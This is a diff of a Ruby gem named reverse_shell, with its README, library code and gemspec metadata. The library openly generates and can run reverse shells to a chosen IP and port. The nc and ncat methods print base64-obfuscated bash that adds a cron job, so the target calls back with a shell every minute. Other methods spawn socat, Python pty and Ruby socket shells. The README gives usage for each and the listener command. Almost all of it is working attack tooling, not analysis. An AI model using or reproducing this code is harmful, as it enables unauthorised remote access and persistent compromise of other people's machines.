reverse_shell 0.1.0

checksums.yaml

@@ -0,0 +1,7 @@
+---
+SHA256:
+  metadata.gz: 0106c70b0410282d4c43cf4279371aefd52aaec3d657bb145d426640e34659f4
+  data.tar.gz: '09f9c4a645a55f90ae9fe8b44d72df03ae8666f6aae0fb37a24f5d1187843b84'
+SHA512:
+  metadata.gz: 783f1f9dc42d8b7047feb0377081a89bfd36cd1692bd2fdf542db706f7e090a2e100c02f54fc936d9c7c471724ef4cb72ab2829f6fffa9709f41c7fafaaf4e1b
+  data.tar.gz: 0a0ebb2cb54a4228e929b1fd5de2abf6a1eebdee2dd738bdc4e6b9c7daa263d6ee8c519135be9ef4b2ae438850107a274999b669411d8c8b5b3adad7e10d84b3

data/README.md

@@ -0,0 +1,86 @@
+# ReverseShell
+
+The code currently has three different ways to get reverse shell on a host. It will print the command out
+in the terminal.. The last one, the socat shell will run the shell if the `run` method is set to true. 
+By default it is set to false. 
+
+To run the server use: `ncat -l -p 1337`
+
+## Installation
+
+```bash
+gem install reverse_shell
+```
+Have to install ncat: `sudo apt install ncat`
+
+Hae to install netcat: `sudo apt install netcat`
+## Usage
+
+### NetCat
+```ruby
+require_relative "lib/reverse_shell"
+rs = ReverseShell::Generate.new
+rs.ip = "127.0.0.1"
+rs.port = 33
+
+rs.nc
+```
+
+### Ncat
+
+```ruby
+require_relative "lib/reverse_shell"
+rs = ReverseShell::Generate.new
+rs.ip = "127.0.0.1"
+rs.port = 33
+
+rs.ncat
+```
+### socat Shell
+
+ With `run` set as true it will run the shell on the machine. 
+```ruby
+require_relative "lib/reverse_shell"
+rs = ReverseShell::Generate.new
+rs.ip = "127.0.0.1"
+rs.port = 33
+
+rs.bash(run: true)
+```
+This snippet of code will not run the socat shell, it will print out the command instead of 
+running the shell. 
+
+```ruby
+require_relative "lib/reverse_shell"
+rs = ReverseShell::Generate.new
+rs.ip = "127.0.0.1"
+rs.port = 33
+
+rs.bash
+```
+### Ruby
+Like the Socat method,  `run`  means it will run the code. If it is not given it will
+print it out.
+```ruby
+require_relative "lib/reverse_shell"
+rs = ReverseShell::Generate.new
+rs.ip = "127.0.0.1"
+rs.port = 1337
+
+rs.ruby(run: true)
+
+rs.ruby
+```
+
+### Python
+
+```ruby
+
+require_relative "lib/reverse_shell"
+rs = ReverseShell::Generate.new
+rs.ip = "127.0.0.1"
+rs.port = 1337
+
+rs.python(run: true)
+rs.python(run: false)
+```

data/Rakefile

@@ -0,0 +1,4 @@
+# frozen_string_literal: true
+
+require "bundler/gem_tasks"
+task default: %i[]

data/lib/reverse_shell/version.rb

@@ -0,0 +1,5 @@
+# frozen_string_literal: true
+
+module ReverseShell
+  VERSION = "0.1.0"
+end

data/lib/reverse_shell.rb

@@ -0,0 +1,58 @@
+# frozen_string_literal: true
+require 'base64'
+require_relative "reverse_shell/version"
+
+module ReverseShell
+  class Generate
+    attr_accessor :ip, :port
+
+    def initialize()
+      @ip   = ip
+      @port = port
+    end
+    def ip=(ips)
+      @ip = ips
+    end
+    def port=(pp)
+      @port = pp
+    end
+    def nc
+      c = %{#!/bin/bash
+      line="* * * * * nc -e /bin/sh #{@ip} #{@port}"
+      (crontab -u $(whoami) -l; echo "$line" ) | crontab -u $(whoami) -}
+      puts "echo -n '#{Base64.encode64(c)}' | base64 -d >> t.sh; bash t.sh; rm t.sh;".delete!("\n")
+    end
+
+    def ncat
+      c = %{#!/bin/bash
+      line="* * * * * ncat #{@ip} #{@port} -e /bin/bash"
+      (crontab -u $(whoami) -l; echo "$line" ) | crontab -u $(whoami) -}
+      puts "echo -n '#{Base64.encode64(c)}' | base64 -d >> t.sh; bash t.sh; rm t.sh;".delete!("\n")
+    end
+
+    def bash(run: false)
+      c = %(bash.exe -c "socat tcp-connect:#{@ip}:#{@port} exec:sh,pty,stderr,setsid,sigint,sane")
+      unless run
+        puts c
+      else
+        Process.spawn(c)
+      end
+    end
+    def python(run: false)
+      c = %{export RHOST="#{@ip}";export RPORT=#{@port};python -c 'import socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'}
+      unless run
+        puts c
+      else
+        Process.spawn(c)
+      end
+    end
+    def ruby(run: false)
+      c = %{export RHOST=#{@ip}; export RPORT=#{@port}; ruby -rsocket -e 'exit if fork;c=TCPSocket.new(ENV["RHOST"],ENV["RPORT"]);while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'}
+      unless run
+        puts c
+      else
+        Process.spawn(c)
+      end
+    end
+  end
+end

data/sig/reverse_shell.rbs

@@ -0,0 +1,4 @@
+module ReverseShell
+  VERSION: String
+  # See the writing guide of rbs: https://github.com/ruby/rbs#guides
+end

metadata

@@ -0,0 +1,62 @@
+--- !ruby/object:Gem::Specification
+name: reverse_shell
+version: !ruby/object:Gem::Version
+  version: 0.1.0
+platform: ruby
+authors:
+- Michael-Meade
+autorequire:
+bindir: exe
+cert_chain: []
+date: 2025-10-30 00:00:00.000000000 Z
+dependencies:
+- !ruby/object:Gem::Dependency
+  name: base64
+  requirement: !ruby/object:Gem::Requirement
+    requirements:
+    - - ">="
+      - !ruby/object:Gem::Version
+        version: '0'
+  type: :runtime
+  prerelease: false
+  version_requirements: !ruby/object:Gem::Requirement
+    requirements:
+    - - ">="
+      - !ruby/object:Gem::Version
+        version: '0'
+description: This gem will create and print different types of shell or even run the
+  shell in terminal.
+email:
+- noway@lol.com
+executables: []
+extensions: []
+extra_rdoc_files: []
+files:
+- README.md
+- Rakefile
+- lib/reverse_shell.rb
+- lib/reverse_shell/version.rb
+- sig/reverse_shell.rbs
+homepage:
+licenses: []
+metadata: {}
+post_install_message:
+rdoc_options: []
+require_paths:
+- lib
+required_ruby_version: !ruby/object:Gem::Requirement
+  requirements:
+  - - ">="
+    - !ruby/object:Gem::Version
+      version: '0'
+required_rubygems_version: !ruby/object:Gem::Requirement
+  requirements:
+  - - ">="
+    - !ruby/object:Gem::Version
+      version: '0'
+requirements: []
+rubygems_version: 3.4.20
+signing_key:
+specification_version: 4
+summary: Create or run a reverse shell with different methods
+test_files: []